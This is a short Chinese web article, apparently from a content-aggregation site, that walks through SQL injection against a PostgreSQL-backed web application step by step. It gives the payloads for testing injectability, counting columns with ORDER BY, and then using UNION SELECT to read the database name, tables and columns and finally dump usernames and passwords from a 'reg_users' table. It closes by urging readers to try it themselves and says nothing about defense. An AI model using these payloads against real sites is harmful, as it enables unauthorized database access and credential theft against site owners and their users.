千家信息网

postgreasql数据库注入的过程

发表于:2025-02-05 作者:千家信息网编辑
千家信息网最后更新 2025年02月05日,本篇内容主要讲解"postgreasql数据库注入的过程",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"postgreasql数据库注入的过程"吧!一、判断
千家信息网最后更新 2025年02月05日postgreasql数据库注入的过程

本篇内容主要讲解"postgreasql数据库注入的过程",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"postgreasql数据库注入的过程"吧!

一、判断是否存在注入

and 1=2 返回错误

and 1=1 返回正常,存在注入

and 1::int=1 返回正常说明是postgresql数据库

二、判断字段数量

order by 5 返回错误

order by 4 返回正常说明,有四列

三、联合查询

union select '1','2','3','4' 可以看出2/3号位置显示

四、获取当前数据库

union select '1',current_database(),'3','4'

五、获取第一个表

union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 0

获取第二个表

union select '1',relname,relname,'4' from pg_stat_user_tables limit 1 offset 1

六、获取第一个字段

union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 0

获取第二个字段

union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 1

七、获取字段内容

union select '1',''||name||','||password||'','3','4' from reg_users

到此,相信大家对"postgreasql数据库注入的过程"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

0